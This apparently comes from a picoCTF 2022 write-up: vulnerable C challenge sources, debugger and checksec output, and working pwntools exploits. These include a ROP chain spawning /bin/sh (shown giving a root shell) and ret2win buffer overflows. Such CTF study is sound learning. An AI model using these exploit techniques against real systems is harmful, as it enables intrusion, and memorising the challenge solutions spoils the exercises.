// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}

View File

@@ -0,0 +1,8 @@
<span style="color:#DC3958">$</span> checksec vuln
[<span style="color:#277FFF"><b>*</b></span>] '/home/kali/ctfs/pico22/ropfu/vuln'
Arch: i386-32-little
RELRO: <span style="color:#FEA44C">Partial RELRO</span>
Stack: <span style="color:#5EBDAB">Canary found</span>
NX: <span style="color:#D41919">NX disabled</span>
PIE: <span style="color:#D41919">No PIE (0x8048000)</span>
RWX: <span style="color:#D41919">Has RWX segments</span>

View File

@@ -0,0 +1,28 @@
<span style="color:#47D4B9"><b>gef➤ </b></span>shell python3 -q
>>> print('A'*28 + 'B'*4)
AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
>>>
<span style="color:#47D4B9"><b>gef➤ </b></span>r
Starting program: /home/kali/ctfs/pico22/ropfu/vuln
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
<span style="color:#367BF0">0x42424242</span> in <span style="color:#FEA44C">??</span> ()
[ Legend: <span style="color:#EC0101"><b>Modified register</b></span> | <span style="color:#D41919">Code</span> | <span style="color:#5EBDAB">Heap</span> | <span style="color:#9755B3">Stack</span> | <span style="color:#FEA44C">String</span> ]
<span style="color:#585858"><b>──────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">registers</span><span style="color:#585858"><b> ────</b></span>
<span style="color:#EC0101"><b>$eax </b></span>: <span style="color:#9755B3">0xffffd540</span> → <span style="color:#FEA44C">"AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"</span>
<span style="color:#EC0101"><b>$ebx </b></span>: 0x41414141 ("<span style="color:#FEA44C">AAAA</span>"?)
<span style="color:#EC0101"><b>$ecx </b></span>: <span style="color:#D41919">0x80e5300</span> → <span style="color:#585858"><b><_IO_2_1_stdin_+0> mov BYTE PTR [edx], ah</b></span>
<span style="color:#EC0101"><b>$edx </b></span>: <span style="color:#9755B3">0xffffd560</span> → <span style="color:#D41919">0x80e5000</span> → <span style="color:#585858"><b><_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax]</b></span>
<span style="color:#EC0101"><b>$esp </b></span>: <span style="color:#9755B3">0xffffd560</span> → <span style="color:#D41919">0x80e5000</span> → <span style="color:#585858"><b><_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax]</b></span>
<span style="color:#EC0101"><b>$ebp </b></span>: 0x41414141 ("<span style="color:#FEA44C">AAAA</span>"?)
<span style="color:#EC0101"><b>$esi </b></span>: <span style="color:#D41919">0x80e5000</span> → <span style="color:#585858"><b><_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al</b></span>
<span style="color:#EC0101"><b>$edi </b></span>: <span style="color:#D41919">0x80e5000</span> → <span style="color:#585858"><b><_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al</b></span>
<span style="color:#EC0101"><b>$eip </b></span>: 0x42424242 ("<span style="color:#FEA44C">BBBB</span>"?)
<span style="color:#367BF0">$cs</span>: 0x23 <span style="color:#367BF0">$ss</span>: 0x2b <span style="color:#367BF0">$ds</span>: 0x2b <span style="color:#367BF0">$es</span>: 0x2b <span style="color:#367BF0">$fs</span>: 0x00 <span style="color:#EC0101"><b>$gs</b></span>: 0x63
<span style="color:#585858"><b>────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">code:x86:32</span><span style="color:#585858"><b> ────</b></span>
<span style="color:#EC0101"><b>[!]</b></span> Cannot disassemble from $PC
<span style="color:#EC0101"><b>[!]</b></span> Cannot access memory at address 0x42424242
<span style="color:#585858"><b>────────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">threads</span><span style="color:#585858"><b> ────</b></span>
[<span style="color:#47D4B9"><b>#0</b></span>] Id 1, Name: "vuln", <span style="color:#EC0101"><b>stopped</b></span> <span style="color:#367BF0">0x42424242</span> in <span style="color:#FF8A18"><b>??</b></span> (), reason: <span style="color:#962AC3"><b>SIGSEGV</b></span>

View File

@@ -0,0 +1,29 @@
<span style="color:#DC3958">$</span> ROPgadget --binary vuln --ropchain
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[<span style="color:#47D4B9"><b>+</b></span>] Gadget found: 0x8059102 mov dword ptr [edx], eax ; ret
[<span style="color:#47D4B9"><b>+</b></span>] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret
[<span style="color:#47D4B9"><b>+</b></span>] Gadget found: 0x80b074a pop eax ; ret
[<span style="color:#47D4B9"><b>+</b></span>] Gadget found: 0x804fb90 xor eax, eax ; ret
- Step 2 -- Init syscall number gadgets
[<span style="color:#47D4B9"><b>+</b></span>] Gadget found: 0x804fb90 xor eax, eax ; ret
[<span style="color:#47D4B9"><b>+</b></span>] Gadget found: 0x808055e inc eax ; ret
- Step 3 -- Init syscall arguments gadgets
[<span style="color:#47D4B9"><b>+</b></span>] Gadget found: 0x8049022 pop ebx ; ret
[<span style="color:#47D4B9"><b>+</b></span>] Gadget found: 0x8049e39 pop ecx ; ret
[<span style="color:#47D4B9"><b>+</b></span>] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret
- Step 4 -- Syscall gadget
[<span style="color:#47D4B9"><b>+</b></span>] Gadget found: 0x804a3d2 int 0x80
- Step 5 -- Build the ROP chain
<div class="text-center text-[12px] py-1 mt-8 whitespace-pre rounded-sm bg-[#292929]">(omitted for brevity, will be in final script!)</div>

View File

@@ -0,0 +1,11 @@
<span style="color:#DC3958">$</span> python2 exp.py
[<span style="color:#47D4B9"><b>+</b></span>] Opening connection to saturn.picoctf.net on port 58931: Done
[<span style="color:#277FFF"><b>*</b></span>] How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
[<span style="color:#277FFF"><b>*</b></span>] Switching to interactive mode
<span style="color:#EC0101"><b>$</b></span> whoami
root
<span style="color:#EC0101"><b>$</b></span> ls
flag.txt
vuln
<span style="color:#EC0101"><b>$</b></span> cat flag.txt
picoCTF{5n47ch_7h3_5h311_<span style="color:#696969"><b>[REDACTED]</b></span>}<span style="color:#EC0101"><b>$</b></span> <span style="background-color:#FFFFFF"><span style="color:#1A1C23"> </span></span>

View File

@@ -0,0 +1,48 @@
#!/usr/bin/env python2
from pwn import *
from struct import pack
payload = 'A'*28
payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5060) # @ .data
payload += pack('<I', 0x41414141) # padding
payload += pack('<I', 0x080b074a) # pop eax ; ret
payload += '/bin'
payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5064) # @ .data + 4
payload += pack('<I', 0x41414141) # padding
payload += pack('<I', 0x080b074a) # pop eax ; ret
payload += '//sh'
payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5068) # @ .data + 8
payload += pack('<I', 0x41414141) # padding
payload += pack('<I', 0x0804fb90) # xor eax, eax ; ret
payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x08049022) # pop ebx ; ret
payload += pack('<I', 0x080e5060) # @ .data
payload += pack('<I', 0x08049e39) # pop ecx ; ret
payload += pack('<I', 0x080e5068) # @ .data + 8
payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5068) # @ .data + 8
payload += pack('<I', 0x080e5060) # padding without overwrite ebx
payload += pack('<I', 0x0804fb90) # xor eax, eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0804a3d2) # int 0x80
p = remote("saturn.picoctf.net", [PORT])
log.info(p.recvS())
p.sendline(payload)
p.interactive()

View File

@@ -0,0 +1,44 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}

View File

@@ -0,0 +1,7 @@
<span style="color:#DC3958">$</span> checksec vuln
[<span style="color:#277FFF"><b>*</b></span>] &apos;/home/kali/ctfs/pico22/buffer-overflow-0/vuln&apos;
Arch: i386-32-little
RELRO: <span style="color:#5EBDAB">Full RELRO</span>
Stack: <span style="color:#D41919">No canary found</span>
NX: <span style="color:#5EBDAB">NX enabled</span>
PIE: <span style="color:#5EBDAB">PIE enabled</span>

View File

@@ -0,0 +1,3 @@
<span style="color:#DC3958">$</span> nc saturn.picoctf.net 65535
Input: aaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_<span style="color:#696969"><b>[REDACTED]</b></span>}

View File

@@ -0,0 +1,2 @@
<span style="color:#47D4B9"><b>gef➤ </b></span>x win
<span style="color:#367BF0">0x80491f6</span> &lt;<span style="color:#FEA44C">win</span>&gt;: 0xfb1e0ff3

View File

@@ -0,0 +1,42 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}

View File

@@ -0,0 +1,8 @@
<span style="color:#DC3958">$</span> checksec vuln
[<span style="color:#277FFF"><b>*</b></span>] &apos;/home/kali/ctfs/pico22/buffer-overflow-1/vuln&apos;
Arch: i386-32-little
RELRO: <span style="color:#FEA44C">Partial RELRO</span>
Stack: <span style="color:#D41919">No canary found</span>
NX: <span style="color:#D41919">NX disabled</span>
PIE: <span style="color:#D41919">No PIE (0x8048000)</span>
RWX: <span style="color:#D41919">Has RWX segments</span>

View File

@@ -0,0 +1,15 @@
<span style="color:#DC3958">>>></span> p = process(elf.path)
[<span style="color:#9755B3">x</span>] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-1/vuln'
[<span style="color:#47D4B9"><b>+</b></span>] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-1/vuln': pid 2219
<span style="color:#DC3958">>>></span> p.sendline(cyclic(128))
<span style="color:#DC3958">>>></span> p.wait()
[<span style="color:#277FFF"><b>*</b></span>] Process '/home/kali/ctfs/pico22/buffer-overflow-1/vuln' stopped with exit code -11 (SIGSEGV) (pid 2219)
<span style="color:#DC3958">>>></span> exit()
<span style="color:#DC3958">$</span> ls -al
total 2304
drwxr-xr-x 3 kali kali 4096 Jun 16 15:35 <span style="color:#277FFF"><b>.</b></span>
drwxr-xr-x 16 kali kali 4096 Jun 14 17:13 <span style="color:#277FFF"><b>..</b></span>
-rw------- 1 kali kali 2588672 Jun 16 15:35 core
-rw-r--r-- 1 kali kali 358 Jun 16 03:22 buffer-overflow-1.py
-rwxr-xr-x 1 kali kali 15704 Mar 15 02:45 <span style="color:#47D4B9"><b>vuln</b></span>
-rw-r--r-- 1 kali kali 769 Mar 15 02:45 vuln.c

View File

@@ -0,0 +1,27 @@
<span style="color:#47D4B9"><b>gef➤ </b></span>shell cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
<span style="color:#47D4B9"><b>gef➤ </b></span>r
Starting program: /home/kali/ctfs/pico22/buffer-overflow-1/vuln
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
Program received signal SIGSEGV, Segmentation fault.
<span style="color:#367BF0">0x6161616c</span> in <span style="color:#FEA44C">??</span> ()
[ Legend: <span style="color:#EC0101"><b>Modified register</b></span> | <span style="color:#D41919">Code</span> | <span style="color:#5EBDAB">Heap</span> | <span style="color:#9755B3">Stack</span> | <span style="color:#FEA44C">String</span> ]
<span style="color:#585858"><b>──────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">registers</span><span style="color:#585858"><b> ────</b></span>
<span style="color:#EC0101"><b>$eax </b></span>: 0x41
<span style="color:#EC0101"><b>$ebx </b></span>: 0x6161616a (&quot;<span style="color:#FEA44C">jaaa</span>&quot;?)
<span style="color:#EC0101"><b>$ecx </b></span>: 0x41
<span style="color:#EC0101"><b>$edx </b></span>: 0xffffffff
<span style="color:#EC0101"><b>$esp </b></span>: <span style="color:#9755B3">0xffffd130</span> → 0x00000000
<span style="color:#EC0101"><b>$ebp </b></span>: 0x6161616b (&quot;<span style="color:#FEA44C">kaaa</span>&quot;?)
<span style="color:#EC0101"><b>$esi </b></span>: 0x1
<span style="color:#EC0101"><b>$edi </b></span>: <span style="color:#D41919">0x80490e0</span> → <span style="color:#585858"><b>&lt;_start+0&gt; endbr32 </b></span>
<span style="color:#EC0101"><b>$eip </b></span>: 0x6161616c (&quot;<span style="color:#FEA44C">laaa</span>&quot;?)
<span style="color:#367BF0">$cs</span>: 0x23 <span style="color:#367BF0">$ss</span>: 0x2b <span style="color:#367BF0">$ds</span>: 0x2b <span style="color:#367BF0">$es</span>: 0x2b <span style="color:#367BF0">$fs</span>: 0x00 <span style="color:#EC0101"><b>$gs</b></span>: 0x63
<span style="color:#585858"><b>────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">code:x86:32</span><span style="color:#585858"><b> ────</b></span>
<span style="color:#EC0101"><b>[!]</b></span> Cannot disassemble from $PC
<span style="color:#EC0101"><b>[!]</b></span> Cannot access memory at address 0x6161616c
<span style="color:#585858"><b>────────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">threads</span><span style="color:#585858"><b> ────</b></span>
[<span style="color:#47D4B9"><b>#0</b></span>] Id 1, Name: &quot;vuln&quot;, <span style="color:#EC0101"><b>stopped</b></span> <span style="color:#367BF0">0x6161616c</span> in <span style="color:#FF8A18"><b>??</b></span> (), reason: <span style="color:#962AC3"><b>SIGSEGV</b></span>

View File

@@ -0,0 +1,10 @@
<span style="color:#DC3958">$</span> python3 -q
<span style="color:#DC3958">>>></span> from pwn import *
<span style="color:#DC3958">>>></span> elf = context.binary = ELF('./vuln')
[<span style="color:#277FFF"><b>*</b></span>] '/home/kali/ctfs/pico22/buffer-overflow-1/vuln'
Arch: i386-32-little
RELRO: <span style="color:#FEA44C">Partial RELRO</span>
Stack: <span style="color:#D41919">No canary found</span>
NX: <span style="color:#D41919">NX disabled</span>
PIE: <span style="color:#D41919">No PIE (0x8048000)</span>
RWX: <span style="color:#D41919">Has RWX segments</span>

View File

@@ -0,0 +1,29 @@
<span style="color:#EC0101"><b>gef➤ </b></span>b main
Breakpoint 1 at <span style="color:#367BF0">0x80492d7</span>
<span style="color:#EC0101"><b>gef➤ </b></span>r
Starting program: /home/kali/ctfs/pico22/buffer-overflow-1/vuln
Breakpoint 1, <span style="color:#367BF0">0x080492d7</span> in <span style="color:#FEA44C">main</span> ()
[ Legend: <span style="color:#EC0101"><b>Modified register</b></span> | <span style="color:#D41919">Code</span> | <span style="color:#5EBDAB">Heap</span> | <span style="color:#9755B3">Stack</span> | <span style="color:#FEA44C">String</span> ]
<span style="color:#585858"><b>──────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">registers</span><span style="color:#585858"><b> ────</b></span>
<span style="color:#EC0101"><b>$eax </b></span>: 0xf7fa39e8 → <span style="color:#9755B3">0xffffd20c</span> → <span style="color:#9755B3">0xffffd3d1</span> → <span style="color:#FEA44C">"SHELL=/usr/bin/bash"</span>
<span style="color:#367BF0">$ebx </span>: 0x0
<span style="color:#EC0101"><b>$ecx </b></span>: <span style="color:#9755B3">0xffffd160</span> → 0x00000001
<span style="color:#EC0101"><b>$edx </b></span>: <span style="color:#9755B3">0xffffd194</span> → 0x00000000
<span style="color:#EC0101"><b>$esp </b></span>: <span style="color:#9755B3">0xffffd140</span> → <span style="color:#9755B3">0xffffd160</span> → 0x00000001
<span style="color:#EC0101"><b>$ebp </b></span>: <span style="color:#9755B3">0xffffd148</span> → 0x00000000
<span style="color:#EC0101"><b>$esi </b></span>: 0x1
<span style="color:#EC0101"><b>$edi </b></span>: <span style="color:#D41919">0x80490e0</span> → <span style="color:#585858"><b>&lt;_start+0&gt; endbr32 </b></span>
<span style="color:#EC0101"><b>$eip </b></span>: <span style="color:#D41919">0x80492d7</span> → <span style="color:#585858"><b>&lt;main+19&gt; sub esp, 0x10</b></span>
<span style="color:#367BF0">$cs</span>: 0x23 <span style="color:#367BF0">$ss</span>: 0x2b <span style="color:#367BF0">$ds</span>: 0x2b <span style="color:#367BF0">$es</span>: 0x2b <span style="color:#367BF0">$fs</span>: 0x00 <span style="color:#EC0101"><b>$gs</b></span>: 0x63
<span style="color:#585858"><b>────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">code:x86:32</span><span style="color:#585858"><b> ────</b></span>
<span style="color:#585858"><b> 0x80492d3 &lt;main+15&gt; mov ebp, esp</b></span>
<span style="color:#585858"><b> 0x80492d5 &lt;main+17&gt; push ebx</b></span>
<span style="color:#585858"><b> 0x80492d6 &lt;main+18&gt; push ecx</b></span>
<span style="color:#5EBDAB">→ 0x80492d7 &lt;main+19&gt; sub esp, 0x10</span>
0x80492da &lt;main+22&gt; call 0x8049130 &lt;__x86.get_pc_thunk.bx&gt;
0x80492df &lt;main+27&gt; add ebx, 0x2d21
0x80492e5 &lt;main+33&gt; mov eax, DWORD PTR [ebx-0x4]
0x80492eb &lt;main+39&gt; mov eax, DWORD PTR [eax]
0x80492ed &lt;main+41&gt; push 0x0
<span style="color:#585858"><b>────────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">threads</span><span style="color:#585858"><b> ────</b></span>
[<span style="color:#47D4B9"><b>#0</b></span>] Id 1, Name: "vuln", <span style="color:#EC0101"><b>stopped</b></span> <span style="color:#367BF0">0x80492d7</span> in <span style="color:#FF8A18"><b>main</b></span> (), reason: <span style="color:#962AC3"><b>BREAKPOINT</b></span>

View File

@@ -0,0 +1,25 @@
<span style="color:#47D4B9"><b>gef➤ </b></span>r
Starting program: /home/kali/ctfs/pico22/buffer-overflow-1/vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
Program received signal SIGSEGV, Segmentation fault.
<span style="color:#367BF0">0x41414141</span> in <span style="color:#FEA44C">??</span> ()
[ Legend: <span style="color:#EC0101"><b>Modified register</b></span> | <span style="color:#D41919">Code</span> | <span style="color:#5EBDAB">Heap</span> | <span style="color:#9755B3">Stack</span> | <span style="color:#FEA44C">String</span> ]
<span style="color:#585858"><b>──────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">registers</span><span style="color:#585858"><b> ────</b></span>
<span style="color:#EC0101"><b>$eax </b></span>: 0x41
<span style="color:#EC0101"><b>$ebx </b></span>: 0x41414141 ("<span style="color:#FEA44C">AAAA</span>"?)
<span style="color:#EC0101"><b>$ecx </b></span>: 0x41
<span style="color:#EC0101"><b>$edx </b></span>: 0xffffffff
<span style="color:#EC0101"><b>$esp </b></span>: <span style="color:#9755B3">0xffffd130</span> → <span style="color:#FEA44C">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>
<span style="color:#EC0101"><b>$ebp </b></span>: 0x41414141 ("<span style="color:#FEA44C">AAAA</span>"?)
<span style="color:#EC0101"><b>$esi </b></span>: 0x1
<span style="color:#EC0101"><b>$edi </b></span>: <span style="color:#D41919">0x80490e0</span> → <span style="color:#585858"><b>&lt;_start+0&gt; endbr32 </b></span>
<span style="color:#EC0101"><b>$eip </b></span>: 0x41414141 ("<span style="color:#FEA44C">AAAA</span>"?)
<span style="color:#367BF0">$cs</span>: 0x23 <span style="color:#367BF0">$ss</span>: 0x2b <span style="color:#367BF0">$ds</span>: 0x2b <span style="color:#367BF0">$es</span>: 0x2b <span style="color:#367BF0">$fs</span>: 0x00 <span style="color:#EC0101"><b>$gs</b></span>: 0x63
<span style="color:#585858"><b>────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">code:x86:32</span><span style="color:#585858"><b> ────</b></span>
<span style="color:#EC0101"><b>[!]</b></span> Cannot disassemble from $PC
<span style="color:#EC0101"><b>[!]</b></span> Cannot access memory at address 0x41414141
<span style="color:#585858"><b>────────────────────────────────────────────────────────────────────── </b></span><span style="color:#49AEE6">threads</span><span style="color:#585858"><b> ────</b></span>
[<span style="color:#47D4B9"><b>#0</b></span>] Id 1, Name: "vuln", <span style="color:#EC0101"><b>stopped</b></span> <span style="color:#367BF0">0x41414141</span> in <span style="color:#FF8A18"><b>??</b></span> (), reason: <span style="color:#962AC3"><b>SIGSEGV</b></span>

View File

@@ -0,0 +1,4 @@
<span style="color:#47D4B9"><b>gef➤ </b></span>pattern search 0x6161616c
<span style="color:#277FFF"><b>[+]</b></span> Searching for &apos;0x6161616c&apos;
<span style="color:#47D4B9"><b>[+]</b></span> Found at offset 44 (little-endian search) <span style="color:#EC0101"><b>likely</b></span>
<span style="color:#47D4B9"><b>[+]</b></span> Found at offset 41 (big-endian search)

View File

@@ -0,0 +1,2 @@
<span style="color:#DC3958">$</span> readelf -h vuln | grep endian
Data: 2&#x27;s complement, little endian

View File

@@ -0,0 +1,13 @@
<span style="color:#DC3958">>>></span> core = Corefile('./core')
[<span style="color:#9755B3">x</span>] Parsing corefile...
[<span style="color:#277FFF"><b>*</b></span>] '/home/kali/ctfs/pico22/buffer-overflow-1/core'
Arch: i386-32-little
EIP: 0x6161616c
ESP: 0xff93abe0
Exe: '/home/kali/ctfs/pico22/buffer-overflow-1/vuln' (0x8048000)
Fault: 0x6161616c
[<span style="color:#47D4B9"><b>+</b></span>] Parsing corefile...: Done
<span style="color:#DC3958">>>></span> core.registers
{'eax': 65, 'ebp': 1633771883, 'ebx': 1633771882, 'ecx': 65, 'edi': 134516960, 'edx': 4294967295, 'eflags': 66178, 'eip': 1633771884, 'esi': 1, 'esp': 4287867872, 'orig_eax': 4294967295, 'xcs': 35, 'xds': 43, 'xes': 43, 'xfs': 0, 'xgs': 99, 'xss': 43}
<span style="color:#DC3958">>>></span> hex(core.eip)
'0x6161616c'

View File

@@ -0,0 +1,16 @@
<span style="color:#DC3958">$</span> python3 buffer-overflow-1-automated.py REMOTE
[<span style="color:#47D4B9"><b>+</b></span>] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-1/vuln': pid 2601
[<span style="color:#277FFF"><b>*</b></span>] Process '/home/kali/ctfs/pico22/buffer-overflow-1/vuln' stopped with exit code -11 (SIGSEGV) (pid 2601)
[<span style="color:#47D4B9"><b>+</b></span>] Parsing corefile...: Done
[<span style="color:#277FFF"><b>*</b></span>] '/home/kali/ctfs/pico22/buffer-overflow-1/core'
Arch: i386-32-little
EIP: 0x6161616c
ESP: 0xff829260
Exe: '/home/kali/ctfs/pico22/buffer-overflow-1/vuln' (0x8048000)
Fault: 0x6161616c
[<span style="color:#47D4B9"><b>+</b></span>] Opening connection to saturn.picoctf.net on port <span style="color:#696969"><b>[PORT]</b></span>: Done
[<span style="color:#277FFF"><b>*</b></span>] Switching to interactive mode
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_<span style="color:#696969"><b>[REDACTED]</b></span>}
[<span style="color:#277FFF"><b>*</b></span>] Got EOF while reading in interactive

View File

@@ -0,0 +1,7 @@
<span style="color:#DC3958">$</span> python3 buffer-overflow-1.py
[<span style="color:#47D4B9"><b>+</b></span>] Opening connection to saturn.picoctf.net on port <span style="color:#696969"><b>[PORT]</b></span>: Done
[<span style="color:#277FFF"><b>*</b></span>] Please enter your string:
[<span style="color:#47D4B9"><b>+</b></span>] Receiving all data: Done (100B)
[<span style="color:#277FFF"><b>*</b></span>] Closed connection to saturn.picoctf.net port <span style="color:#696969"><b>[PORT]</b></span>
[<span style="color:#47D4B9"><b>+</b></span>] Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_<span style="color:#696969"><b>[REDACTED]</b></span>}

View File

@@ -0,0 +1,22 @@
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False) # sets elf object
host, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path) # references elf object
p.sendline(cyclic(128)) # sends cyclic pattern to crash
p.wait() # sigsegv generates core dump
core = Coredump('./core') # parse core dump file
payload = flat({
cyclic_find(core.eip): elf.symbols.win # offset:address
})
if args.REMOTE: # remote process if arg
p = remote(host, port)
else:
p = process(elf.path)
p.sendline(payload)
p.interactive() # receives flag

View File

@@ -0,0 +1,11 @@
#!/usr/bin/env python3
from pwn import *
payload = b"A"*44 + p32(0x80491f6) # Little endian: b'\xf6\x91\x04\x08'
host, port = "saturn.picoctf.net", [PORT]
p = remote(host, port) # Opens the connection
log.info(p.recvS()) # Decodes/prints "Please enter your string:"
p.sendline(payload) # Sends the payload
log.success(p.recvallS()) # Decodes/prints all program outputs
p.close() # Closes the connection

View File

@@ -0,0 +1,43 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}

View File

@@ -0,0 +1,7 @@
<span style="color:#DC3958">$</span> checksec vuln
[<span style="color:#277FFF"><b>*</b></span>] &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos;
Arch: i386-32-little
RELRO: <span style="color:#FEA44C">Partial RELRO</span>
Stack: <span style="color:#D41919">No canary found</span>
NX: <span style="color:#5EBDAB">NX enabled</span>
PIE: <span style="color:#D41919">No PIE (0x8048000)</span>

View File

@@ -0,0 +1,26 @@
<span style="color:#DC3958">$</span> python3 -q
<span style="color:#DC3958">>>> </span>from pwn import *
<span style="color:#DC3958">>>> </span>elf = context.binary = ELF(&apos;./vuln&apos;)
[<span style="color:#277FFF"><b>*</b></span>] &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos;
Arch: i386-32-little
RELRO: <span style="color:#FEA44C">Partial RELRO</span>
Stack: <span style="color:#D41919">No canary found</span>
NX: <span style="color:#5EBDAB">NX enabled</span>
PIE: <span style="color:#D41919">No PIE (0x8048000)</span>
<span style="color:#DC3958">>>> </span>p = process(elf.path)
[<span style="color:#9755B3">x</span>] Starting local process &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos;
[<span style="color:#47D4B9"><b>+</b></span>] Starting local process &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos;: pid 2777
<span style="color:#DC3958">>>> </span>p.sendline(cyclic(128))
<span style="color:#DC3958">>>> </span>p.wait()
[<span style="color:#277FFF"><b>*</b></span>] Process &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos; stopped with exit code -11 (SIGSEGV) (pid 2777)
<span style="color:#DC3958">>>> </span>core = Corefile(&apos;./core&apos;)
[<span style="color:#9755B3">x</span>] Parsing corefile...
[<span style="color:#277FFF"><b>*</b></span>] &apos;/home/kali/ctfs/pico22/buffer-overflow-2/core&apos;
Arch: i386-32-little
EIP: 0x62616164
ESP: 0xffafca40
Exe: &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos; (0x8048000)
Fault: 0x62616164
[<span style="color:#47D4B9"><b>+</b></span>] Parsing corefile...: Done
<span style="color:#DC3958">>>> </span>cyclic_find(0x62616164)
112

View File

@@ -0,0 +1,17 @@
